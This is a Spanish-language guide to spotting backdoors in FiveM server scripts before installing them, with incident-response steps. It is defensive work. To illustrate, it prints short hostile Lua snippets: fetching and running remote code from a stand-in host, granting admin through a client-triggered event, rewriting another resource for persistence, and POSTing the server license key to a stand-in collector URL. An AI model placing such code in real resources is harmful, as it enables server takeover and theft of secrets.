Cómo detectar un script de FiveM con backdoor

Las cuatro formas que toma un backdoor, cómo leer una resource antes de que se ejecute, y qué hacer primero cuando encuentras uno. Ordenado por lo que de verdad te protege.

6 minutos de lectura

Alguien te pasa un script "filtrado gratis". Lo sueltas en resources, reinicias, y todo funciona. Tres semanas después un desconocido tiene admin, tu base de datos ha desaparecido, o tu servidor está mandando publicidad calladamente a tus propios jugadores.

Esta guía va de cómo mirar una resource antes de que se ejecute, qué significan de verdad los patrones, y qué hacer cuando encuentras uno.

Nada de esto sube tus archivos. El escáner de backdoors los lee en tu navegador, que es la única manera sensata de inspeccionar un script del que ya desconfías.

Empieza leyendo el manifest

fxmanifest.lua decide qué se ejecuta. Ábrelo primero, siempre.

fx_version "cerulean"game "gta5"client_scripts {    "client/*.lua",}server_scripts {    "server/*.lua",    "config/init.lua",}

Dos preguntas, en este orden:

  1. ¿Tiene sentido cada archivo listado para lo que esta resource dice que hace? Un script de aparcamiento con un server_script llamado updater.lua merece una mirada.
  2. ¿Se carga algo con un comodín a través del cual no ves? server/*.lua es normal, pero también significa que un archivo añadido después se ejecuta sin tocar nada más.

Después compara el manifest con la carpeta. Un archivo que existe en disco y no está en el manifest suele ser lastre. Un archivo del manifest que no encuentras es una señal bastante peor.

Las cuatro formas que toma un backdoor

Casi todo lo malicioso cae en una de cuatro familias. Conocer la familia importa más que memorizar cadenas, porque las cadenas cambian y las formas no.

1. Código descargado en runtime y ejecutado

La resource se descarga algo y lo ejecuta. Lo que audites hoy puede servir algo distinto mañana.

PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)    if code == 200 then        assert(load(body))()    endend, "GET")

load, loadstring, RunString y assert(load(...)) convierten texto en código que se ejecuta. Junto a una llamada HTTP en el mismo archivo, no hay lectura inocente.

Un auto-updater es la excusa habitual. Un updater legítimo se descarga un archivo y te pide que reinicies. No ejecuta en memoria lo que se ha descargado.

2. Permisos concedidos en runtime

La familia más silenciosa, y la que se le escapa a la gente, porque nada parece raro hasta que una cuenta que nadie creó tiene acceso total.

RegisterNetEvent("core:sync", function(identifier)    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)

Aquí hay dos cosas mal. Un add_principal en runtime no debería salir nunca de una resource que no escribiste tú, y el evento coge un identificador del cliente, así que cualquiera puede llamarlo con el suyo.

Busca en cualquier resource add_principal, add_ace y ExecuteCommand. En un script de gameplay normal el resultado es cero.

3. Persistencia y reinfección

La parte interesante de un backdoor serio es lo que pasa después de que lo encuentras.

SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)

SaveResourceFile deja que una resource reescriba otra resource. Borras el script malicioso y vuelve desde la que fue reescrita. Por eso encontrar un archivo no es lo mismo que estar limpio.

4. Exfiltración de secretos

La razón por la que mereció la pena plantarlo.

local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)

Una resource que lee sv_licenseKey, steam_webApiKey, rcon_password o tu cadena de conexión de MySQL no tiene ninguna razón legítima para hacerlo. Tampoco una URL de webhook de Discord que no añadiste tú.

La ofuscación no es el delito, pero es la señal

Muchos scripts de pago están ofuscados para proteger una licencia, así que la ofuscación por sí sola no significa malicia. Lo que significa es que no puedes auditarlo, y esa es una decisión que deberías tomar a propósito y no por accidente.

Lo que vesLo que significa
\x68\x74\x74\x70 repetidocadenas escapadas en hex, escondiendo una URL o un nombre
string.char(104, 116, 116, 112)la misma idea, en decimal
Una sola línea de más de 800 caracteresminificado, para que nadie lo lea por encima
Nombres del estilo _0x4f2aun ofuscador de JavaScript, común en payloads de NUI
LPH_NO_VIRTUALIZE, IronBrew, Luraphun ofuscador de Lua, con nombre y apellidos

La regla honesta: un archivo ofuscado de un proveedor de pago que elegiste tú es un riesgo que aceptaste. Un archivo ofuscado dentro de un leak gratuito es un riesgo que alguien eligió por ti.

Los bloques hex y Base64 se decodifican de un paso con el decodificador de Base64, hex y URL. También se ejecuta en tu navegador, así que no estás pegando un payload sospechoso en la web de un desconocido.

Haz esto antes de cada instalación

Una rutina corta pilla casi todo.

  1. Escanea el archivo. Suelta el .zip directamente en el escáner de backdoors. Lee zips sin extraerlos a ninguna parte.
  2. Lee el manifest, y compáralo con el contenido de la carpeta.
  3. Haz grep de las cuatro familias. load(, PerformHttpRequest, add_principal, SaveResourceFile, GetConvar.
  4. Instálalo primero en un servidor de pruebas, con una licence key desechable y una base de datos que no contenga nada.
  5. Mira la consola en el primer arranque. Los backdoors que llaman a casa suelen hacerlo enseguida, y un error HTTP al arrancar es un regalo.

Cuando encuentres uno

Aquí el orden importa, y el instinto de borrar primero el archivo está mal.

  1. Para el servidor. No la resource. El servidor.
  2. Cambia todos los secretos: la sv_licenseKey desde el portal de Cfx, la contraseña de tu base de datos, tus webhooks de Discord, cualquier clave de API que haya en un convar. Da por hecho que todo lo que hay en el server.cfg es conocido. El generador de secretos produce los reemplazos sin mandarlos a ninguna parte.
  3. Revisa add_principal en tus propias configs y quita todo identificador que no reconozcas.
  4. Audita las demás resources, por lo de la familia 3. Un solo backdoor que haya usado SaveResourceFile significa que las otras también hay que leerlas.
  5. Solo entonces borra la resource, y restaura desde una copia de seguridad que hicieras antes de instalarla, si la tienes.

Cambiar tu licence key sin cambiar la contraseña de tu base de datos no soluciona nada. Quien tuvo ejecución de código en el servidor tuvo también tus credenciales.

Lo que esto no puede decirte

Reconocer patrones sobre el código fuente no es una prueba.

Un backdoor cuidadoso puede esquivar todos los patrones de esta guía, y el código limpio a veces coincide con ellos: una resource legítima puede llamar perfectamente a PerformHttpRequest, y un montón de scripts buenos leen un convar. Por eso el escáner explica qué significa cada aviso en vez de dictar un veredicto.

Trata un informe como una lista de sitios donde mirar, no como un juicio. El juicio sigue siendo tuyo, y así debe ser.

Las herramientas que usa esta guía